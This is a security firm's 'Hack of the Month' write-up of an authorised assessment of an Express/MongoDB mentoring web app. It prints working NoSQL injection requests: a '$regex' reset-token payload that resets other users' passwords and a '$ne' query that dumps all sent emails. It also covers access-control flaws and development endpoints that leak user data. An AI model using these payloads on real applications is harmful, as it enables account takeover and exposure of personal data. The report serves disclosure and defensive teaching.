Hack of The Month - November 2022

NoSQL? No Problem.

Adam Shebani & Josh Hawking – 20/12/2022

Introduction

In November 2022, we completed a web application security assessment for a new client within the health / wellbeing sector. We were told through previous discussions, that the web application had both standard user accounts for everyday use and administrator accounts for backend administration. As is fairly standard with these engagements, we were given credentials for a standard user account and were tasked to see what could be achieved from this position…

First Steps

Navigating the application showed that it offered functionality for facilitating mentorships between mentors and mentees. Looking at the HTTP responses we found that the web server kindly introduced itself as an Express instance:

X-Powered-By: Express

Furthermore, some URLs had identifiers in their paths that looked like the following:

https://redacted.com/edit-account/635f956fdd6c0646a8cac28c

The format of the ID looks familiar. It is a MongoDB ObjectID. What gives it away is it’s length as well as the fact that it always starts with a 6; all MongoDB ObjectID’s by default will start with a 6 for some time (the first 4 bytes are a Linux epoch timestamp). What solidifies that MongoDB was being used in the backend is that it’s common-place for it to be used alongside Express.

Initial Tests

It’s always nice to know the different ways a target web application can accept input, so this is what we dug into next. In the case of Express, the web server by default only accepts a limited number of content types. Additional middleware can be added to accept other content types such that when it receives a body with said content type, it can normalise it by appropriately converting the body’s values to respective JavaScript types and therefore continue to function normally.

For example if the web application used the “express.json()” middleware, it can accept the following as a “POST” body:

{
    "name": "Adam Shebani",
    "dateOfBirth": 
        {
            "year": 1970,
            "month": 01,
            "day": 01
        }
}

“name” would then be of type “string” and “dateOfBirth” would be an “object” with three properties of type “int”.

As far as vulnerabilities go, this can be useful for NoSQL injection attacks given that we’ve identified that MongoDB is being used in the backend. In light of this, one particular piece of functionality that comes to mind to start looking at is the login page. Normally the browser would submit a “POST” request with the user email and password with a content type of “application/x-www-form-urlencoded”.

POST /auth/login HTTP/1.1
Host: redacted.com
Cookie: connect.sid=...
Content-Length: ...
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Connection: close

username=ruptura%40redacted.com&password=s3cr3tP4ssw0rd

Converting this request’s body to JSON and adjusting the “Content-Type” header accordingly also seemed to work.

POST /auth/login HTTP/1.1
Host: redacted.com
Cookie: connect.sid=...
Content-Length: 69
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Connection: close

{"username": "ruptura@redacted.com", "password": "s3cr3tP4ssw0rd"}

This suggests that the “express.json()” middleware was being used. So far so good. The next step would be to send a NoSQL injection payload to see if we can login without submitting the correct password for our account.

POST /auth/login HTTP/1.1
Host: redacted.com
Cookie: connect.sid=...
Content-Length: 69
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Connection: close

{"username": "ruptura@redacted.com", "password": {"$regex": ".*"}}

Unfortunately, this didn’t work, but the response did include the text “[object Object]” that indicated that at least part of the request body was being parsed as an object. The scent of NoSQL injection was still there so we continued to look further…

Further Digging

We turned our attention instead to the password reset flow. The process for resetting a user’s password was standard. You’d submit your account’s email address, you’ll receive an email message with a link, click the link and set your new password in the form presented to you. The password reset link contained the password reset token (unsurprisingly).

https://redacted.com/auth/password-reset/{reset-token}

The subsequent form request looked something like this:

POST /auth/password-reset HTTP/1.1
Host: redacted.com
Cookie: connect.sid=...
Content-Length: ...
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Connection: close

token={reset-token}&password=NewPasswordHere

The password reset token is included as part of the request body and not in the URL path, hence, it serves as a good candidate for another NoSQL injection attempt.

POST /auth/password-reset HTTP/1.1
Host: redacted.com
Cookie: connect.sid=...
Content-Length: ...
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Connection: close

{"token":{"$regex":".*"},"password":"YourS0ul1sMin3"}

We then received the following response:

HTTP/1.1 302 Found
Connection: close
X-Powered-By: Express
Location: /
Vary: Accept
Content-Type: text/html; charset=utf-8
Content-Length: 46
Set-Cookie: connect.sid=...; Path=/; Expires=Wed, 09 Nov 2022 10:18:48 GMT; HttpOnly
Date: ...

Found. Redirecting to /

The response indicated that the password reset was successful. Trying to login with the new password confirmed that we indeed were able to reset the password for our account!

Notice that the payload that we used contained the “$regex” operator with a regular expression value that matches all strings. And bare in mind, the above request will only reset the password for one user. This meant that had any other user requested a password reset token for their account, our NoSQL injection payload *may* have reset their password depending on which reset token was matched first with the DB query containing our regular expression.

We were testing in a staging environment, so this wasn’t an issue. However, from an attacker’s perspective this would raise some eyebrows if an attacker wanted to exploit this as they would need to send the NoSQL injection payload multiple times to reset their desired account, ultimately resetting the passwords of other users as well.

So we were now able to reset any user’s password given only knowledge of their email address, which could easily be retrieved using basic OSINT. Nice.

XSS

Now with access as an arbitrary authenticated user, we found an alarming number of XSS vulnerabilities pretty much anywhere user input ends up in server responses. There was actually every type of XSS within the application, which is something that is quite rare to see. There was stored, reflected and DOM-based XSS. Some could be triggered unauthenticated whilst others required a user to be authenticated. User inputs were reflected in both HTML context as well as in JS.

This was a clear sign that the web application wasn’t developed with security in mind. With that said, there had to be more things to break. 🙂

Next Steps

Something that immediately caught our attention was that a lot of the pages had inline JavaScript detailing a set of API endpoints for our convenience. One endpoint that stood out looked like this:

// Emails

	const getAllSentEmailsGivenAddress = function(address) {
		return getAll(`/api/sent-emails/?to=${address}`);
	};

Invoking the endpoint with our email address returned all emails sent from the web application to our email, including those that included password reset tokens. Naturally we tried setting the “to” parameter to another address..

GET /api/sent-emails?to=josh@redacted.com HTTP/1.1
Host: redacted.com
Cookie: connect.sid=...
Connection: close

Which responded with:

[
	{
		"id": "632b1d1133f39df86aee0b91",
		"_id": "632b1d1133f39df86aee0b91",
		"from": "noreply@redacted.com",
		"to": "josh@redacted.com",
		"subject": "Thanks for signing up to redacted...",
	}
...
]

The server didn’t deny us access to email messages not designated for us. We took it a step further with another NoSQL injection using nested query parameters:

GET /api/sent-emails?to[$ne]=1 HTTP/1.1
Host: redacted.com
Cookie: connect.sid=...
Connection: close

This resulted in us obtaining every single email that had been sent from the application. In a real-life scenario, this information could then be used as a great starting point for a plethora of further attacks. This includes harvesting email addresses for all users of the application.

/dev/

Speaking of harvesting emails, there was another endpoint that could be leveraged for just that.

// Development
	...
	function devUsersFindById(userId){
		return getOne(`/api/dev/users/${userId}`);
	}

You love to see it, development endpoints just laying around. Even though this was in a pre-production environment, the version of the application was still the production version, so these should have been omitted prior to release. We had to scavenge around a little to find another endpoint that would spill out the “userId’s” of other users. Ultimately we found this:

	const getAccountById = function(accountId) {
		return getOne(`/api/third-parties/accounts/${accountId}`);
	};

We then structured a GET request to this endpoint with the following format:

GET /api/third-parties/accounts/635f956fdd6c0646a8cac28c HTTP/1.1
Host: redacted.com
Cookie: connect.sid=...
Connection: close

Which responded with:

[
    {"id":"61a60e20a22781efc45eeefb","userId":"6166f7f6795b0717eab7ce2c"
    ,"serviceId":"619e1cdb3779c712736f402a","multiFactorAuthentication":
    false,"lastPassAuthentication":false,"comment":""}
]

Without going into specifics, there wasn’t actually any third-party integration related data here.

The response contained an array with one object corresponding to our user. The object included the key ‘userId‘; exactly what we’re looking for. 

The fact that it returned an array hinted that it might be possible to return results for other users too. This turned out to be possible simply by removing the ObjectID (‘accountId’) from the URL altogether.. `¯\_(ツ)_/¯`

We’re not too sure as to why this is, but most likely it’s because the DB query was using a partial-match filter for the ‘accountId’ (from the URL) and thus if it’s empty, it would return all objects from the collection.

And now with a list of ‘userId`s’ we could invoke the development endpoint from earlier to extract the email addresses from the web app, as well as identify the permissions of all the users for further targeting.

A structured HTTP GET request then provided us with all access controls for that user:

GET /api/dev/users/61016b08ddf4b17adcfe31e3 HTTP/1.1
Host: redacted.com
Cookie: connect.sid=...
Connection: close
HTTP/1.1 200 OK
Connection: close
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 175
Etag: W/"af-xJgmYZHRJEr0lpyACUfy+t9LeVU"
Date: ...

[{"id":"61016b08ddf4b17adcfe31e3","email":"josh@redacted.com","permissions":["AccountManagement","Mentoring","Domains","JobBoard"],"lastSeen":{"timestamp":1667224472860}}]

From this it was clear that access controls were non-existent post-login. There was even a development endpoint (starting with `/api/dev`) that allowed creating new users, including administrators, using no more than a low privileged user.

Conclusion

When security is neglected during development of any given solution, it is more often than not that it is inherently vulnerable to all sorts of attacks by default. Extra measures need to be taken in order to mitigate risks of being prone to exploitation.

When it comes to development of web applications, this usually boils down to not trusting any input supplied from an external source and ensuring that access controls are appropriately put in-place. Keeping track of what endpoints are available on the web application is also important to minimize the attack surface.

Familiarity with common vulnerabilities in the components used for development (as well as all web-based vulnerabilities in general) can also significantly aid in identifying what steps to take to secure the code-base.

Key Takeaways

    • Regular web application penetration testing is essential.
    • Ensure that developers are trained and made aware of common security issues, even at a basic level.
    • Ensure that API’s have the same protections as the application itself, they should require robust authentication mechanisms and surrounding controls.

Credits

A Cyber Security Partner You Can Trust

Ruptura InfoSecurity are a UK based cyber security provider. Our services are provided entirely in-house and are fully accredited by industry standard qualifications and standards.

Request a Quote

If your organisation requires our services, please get in contact using the form below:

About Us

© Ruptura InfoSecurity Ltd – 2023. All Rights Reserved. Company Number: 11644559.

Shopping Cart